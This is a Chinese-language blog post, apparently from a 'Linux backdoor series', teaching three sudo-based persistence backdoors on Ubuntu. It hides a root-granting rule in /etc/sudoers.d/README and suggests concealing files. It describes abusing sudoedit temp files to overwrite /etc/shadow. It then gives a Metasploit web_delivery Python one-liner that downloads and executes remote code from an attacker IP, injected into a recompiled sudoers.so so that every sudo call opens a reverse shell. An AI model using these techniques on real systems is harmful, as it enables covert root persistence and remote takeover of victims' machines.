查看原文
其他

sudo 后门|Linux 后门系列

NOP Team NOP Team 2024-01-18

sudo 经常被用来将普通用户权限提升至 root 权限,代替 root 执行部分程序来管理 Linux 系统,这样避免 root 密码被泄漏

这篇文章介绍了三种利用其留后门的方法,其中也涉及一个sudo有趣的特性,在极端条件下可能是系统的薄弱点;同时涉及一个没什么人关注的小知识点

  • sudo 配置后门
  • sudoedit 文件所有者后门
  • sudo plugin 后门

这篇文章以 Ubuntu Server 22.10 为例

0x01 sudo 配置后门

1) 简介

通常的应用场景中,配置 sudo 主要是用来赋予某个用户或者用户组能够以 root(或其他用户) 的身份(以及权限)执行部分(或全部) 程序,该需求相应的配置文件为 /etc/sudoers  以及 /etc/sudoers.d/ 目录下的文件

随着操作系统版本迭代,很多应用程序都将配置文件分为两部分,主配置文件以及主配置文件加载的配置文件,这里所谓的主配置文件加载的配置文件通常以文件夹的形式加载,也就是说文件夹中所有的文件都会被认为是配置文件。意图让运维人员自定义配置的时候,不再修改主配置文件,这样即使运维人员配置出现问题,也能保证基本的程序功能不会受到影响。尤其是这种涉及登录、权限变化的程序

/etc/sudoers 文件需要 root 权限才能访问,建议使用 visudo 来编辑此文件以及 /etc/sudoers.d/ 目录中的文件

我们直接看重点部分——角色及权限配置

# User privilege specification
root ALL=(ALL:ALL) ALL

#
 Members of the admin group may gain root privileges
%admin ALL=(ALL) ALL

#
 Allow members of group sudo to execute any command
%sudo ALL=(ALL:ALL) ALL

#
 See sudoers(5) for more information on "@include" directives:

@includedir /etc/sudoers.d

概括来说,配置权限部分分为 5 个字段

USERSHOSTUSERGROUPNOPASSWDCOMMANDS
rootALL(ALLALL)省略(默认需要密码)ALL
%adminALL(ALL)
省略(默认需要密码)ALL
%sudoALL(ALLALL)省略(默认需要密码)ALL
  • USERS

    表示配置作用的目标用户,也就是说这个配置是给哪个用户的,这个字段可以是用户(例如 root),也可以是用户组(例如 %admin),用户组需要在前面加上 %,也可以是别名,别名说到底就是一堆用户的代表,需要在上文配置

  • HOST

    主机名,表示可以使用 sudo 命令的主机,ALL 表示任意主机

  • USER

    目标用户使用 sudo 时可以临时获取的身份以及权限,ALL 表示任意身份及权限

  • GROUP

    目标用户使用 sudo 时可以临时获取的用户组身份以及权限,ALL 表示任意用户组

  • NOPASSWD

    可以设置执行 sudo 不需要密码,省略不写表示需要密码

  • COMMANDS

    目标用户 sudo 后可以使用的命令, ALL 表示所有命令

所以默认的配置的含义为

  • root 可以在任意主机上 sudo 获取任意用户和用户组的权限,并执行任意命令,需要输入密码
  • admin 用户组的用户可以在任意主机上 sudo 获取任意用户的权限,并执行任意命令,需要输入密码
  • sudo 用户组的用户可以在任意主机上 sudo 获取任意用户以及用户组的权限,并执行任意命令,需要输入密码

现在我们了解了配置语法,现在我们看最后一行

@includedir /etc/sudoers.d

这表示 /etc/sudoers.d 中的文件也在该配置文件中引用

此时我们看一下 /etc/sudoers.d 文件夹

Ubuntu Server 22.10 中,默认该文件夹下只有一个 README 文件

#
# The default /etc/sudoers file created on installation of the
# sudo  package now includes the directive:
# 
#  @includedir /etc/sudoers.d
# 
# This will cause sudo to read and parse any files in the /etc/sudoers.d 
# directory that do not end in '~' or contain a '.' character.
# 
# Note that there must be at least one file in the sudoers.d directory (this
# one will do).
# 
# Note also, that because sudoers contents can vary widely, no attempt is 
# made to add this directive to existing sudoers files on upgrade.  Feel free
# to add the above directive to the end of your /etc/sudoers file to enable 
# this functionality for existing installations if you wish! Sudo
# versions older than the one in Debian 11 (bullseye) require the
# directive will only support the old syntax #includedir, and the current
# sudo will happily accept both @includedir and #includedir
#
# Finally, please note that using the visudo command is the recommended way
# to update sudoers content, since it protects against many failure modes.
# See the man page for visudo and sudoers for more information.
#

这个文件只是一个说明文件,大概介绍了 sudo 配置文件相关情况,还建议大家使用 visudo 对文件进行编辑

此时我们就可以复用计划任务后门那个章节的技巧了,大家感兴趣可以去阅读一下,在往期文章中,这次我们直接修改这个 README 文件,在该文件中进行配置,让一个普通用户可以通过 sudo 获取  root 的权限

PS: 很多运维人员对于某个程序指定了一个配置文件夹,这个配置文件夹中是不是所有文件都会自动加载并不清楚,所以直接将后门配置写在 README 里简直绝了

2) 新建普通用户当作我们控制的账户

sudo useradd test1 
echo "test1:123456" | sudo chpasswd test1 

可以看到新建的 test1 用户是一个普通账号,只在 test1 这个用户组,无法执行 sudo

3) 写入后门配置

sudo vim /etc/sudoers.d/README

这样就可以通过控制一个普通账号随时获取 root 权限

4) 小延伸

如果你是一个受限,非交互的 shell ,可以通过标准输入的方式执行 sudo

echo '123456' | sudo -S cat /etc/passwd

可以考虑搞新建 空白文件名 文件 + alias 劫持的方法来隐藏新建文件

有时候也没必要新建用户,可以尝试开启那些系统用户试试,或许有惊喜也说不定,但是这种操作一定要提前试一试

0x02 sudoedit 文件所有者后门

这个后门更偏向于一个概念性的后门,以趣味性为主吧

前段时间复现 CVE-2023-22809 的时候关注到 sudoedit (sudo -e) 这个程序,这个程序用来让可以sudo的用户通过 sudoedit 以超级权限 (root) 编辑文件

经过测试,我发现sudoedit 编辑文件的逻辑在一些场景下可能有一些问题,会造成权限提升、代码执行等

1) 运维人员通过 sudoedit 编辑文件

可以看到,目前编辑的文件并不是 /etc/shadow ,而是 /var/tmp/shadow.XXWN6vSu, sudoedit 的思路是先拷贝一份 /etc/shadow ,之后编辑完再覆盖回去

2) 攻击者修改相关文件

假设攻击者也拥有 join 这个用户的权限,我们看一下这个拷贝后的文件

ls -al /var/tmp/shadow.XXWN6vSu

可以看到,该文件的所属者和所属组都是 join ,也就是说攻击者可以直接修改这个文件,尝试添加一个 flag

我们选择 E

其实此时,我们就已经读取到未 sudo 的 join 读取不到的文件内容,现在我们写入一个 flag

3) 运维人员直接关闭编辑器,并不修改内容

^X Exit 

可以看出,这个过程中没有任何提示,在 sudoedit 看来,对文件也应该没有任何修改,但是 sudoedit 还是将临时文件覆盖了原本的 /etc/shadow

这样可能造成的危害大小主要取决于运维人员具体打开的文件,如果是计划任务文件则攻击者可能新建计划任务、如果是一些开机加载、环境变量等文件,攻击者也可以进行添加内容

0x03 sudo plugin 后门

1) 简介

大家日常可能使用 sudo 比较多,但实际上去完整读一读它的 man 手册的估计不多,其实 sudo 在 1.8 版本之后开始支持插件了,还支持了 Python 版本的 API

说到这里就不得不谈一下 sudo 的另一个配置文件,应该说更偏向其本身行为的一个配置文件 /etc/sudo.conf,在这个配置文件中我们就可以设置 sudo 的插件(.so 共享库文件)

#
# Default /etc/sudo.conf file
#
# Sudo plugins:
#   Plugin plugin_name plugin_path plugin_options ...
#
# The plugin_path is relative to /usr/libexec/sudo unless
#   fully qualified.
# The plugin_name corresponds to a global symbol in the plugin
#   that contains the plugin interface structure.
# The plugin_options are optional.
#
# The sudoers plugin is used by default if no Plugin lines are present.
#Plugin sudoers_policy sudoers.so
#Plugin sudoers_io sudoers.so
#Plugin sudoers_audit sudoers.so

内容比较多,我们只选取我们要使用的部分,默认情况下没有配置插件,但是根据注释可以看出,至少有三种插件

  • sudoers_policy
  • sudoers_io
  • sudoers_audit

注释中它们的值都指向 sudoers.so ,而且注释中也说了,如果一个插件都没有配置的话,默认使用 sudoers.so  ,插件所在目录为 /usr/libexec/sudo/

各个共享库文件都有自己的作用,可以通读整个配置文件来了解,这里我们只讨论 sudoers.so 文件

现在我们就来制作一个恶意的插件作为我们的后门

2) Metasploit 生成 payload 并监听

msfconsole -q
> use exploit/multi/script/web_delivery 
> set payload python/meterpreter/reverse_tcp
> set lhost 192.168.31.71 
> set lport 4444 
> exploit 

payload 为

python -c "import sys;import ssl;u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]],fromlist=('urlopen',));r=u.urlopen('http://192.168.31.71:8080/USEAxYjj6HvmEk', context=ssl._create_unverified_context());exec(r.read());"

这里我们得改造一下,因为新版本的 Ubuntu 已经不再自带 python2

/usr/bin/python3 -c "import sys;import ssl;u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]],fromlist=('urlopen',));r=u.urlopen('http://192.168.31.71:8080/USEAxYjj6HvmEk', context=ssl._create_unverified_context());exec(r.read());"

3) 编译 sudoers.so

本地找一台与目标环境相同的测试主机进行编译,我这里直接使用目标主机,编辑好后取出 sudoers.so ,之后还原为刚安装完的状态

查看 sudo 版本

sudo -V

下载相同版本的 sudo 程序的源代码并解压

https://www.sudo.ws/getting/source/

注入 payload 进 sudoers.so 源代码

根据分析,我们在 sudoers_init 函数中插入 payload

注意转义双引号以及代码最后的分号

安装编译需要的依赖

sudo apt update
sudo apt install gcc
sudo apt install make
sudo apt install libssl-dev

开始编译

sudo ./configure
sudo make
sudo make install 

在解压缩后的目录中执行

4) 测试无误后拷贝sudoers.so 至被害主机

生成的 sudoers.so 位于 plugins/sudoers/.libs/sudoers.so

测试无误后将其保存,将主机恢复至刚安装,再将文件拷贝至 /usr/libexec/sudo/ 覆盖原有的 sudoers.so (当然,这不是必须的,你可以以任何名称放在任何目录,之后在 sudo.conf 中配置指定就好)

5) 测试后门效果

正常使用 sudo ,查看效果

sudo cat /etc/shadow

成功获取到 shell

0x04 往期文章


有态度,不苟同
继续滑动看下一个

sudo 后门|Linux 后门系列

NOP Team NOP Team
向上滑动看下一个

您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存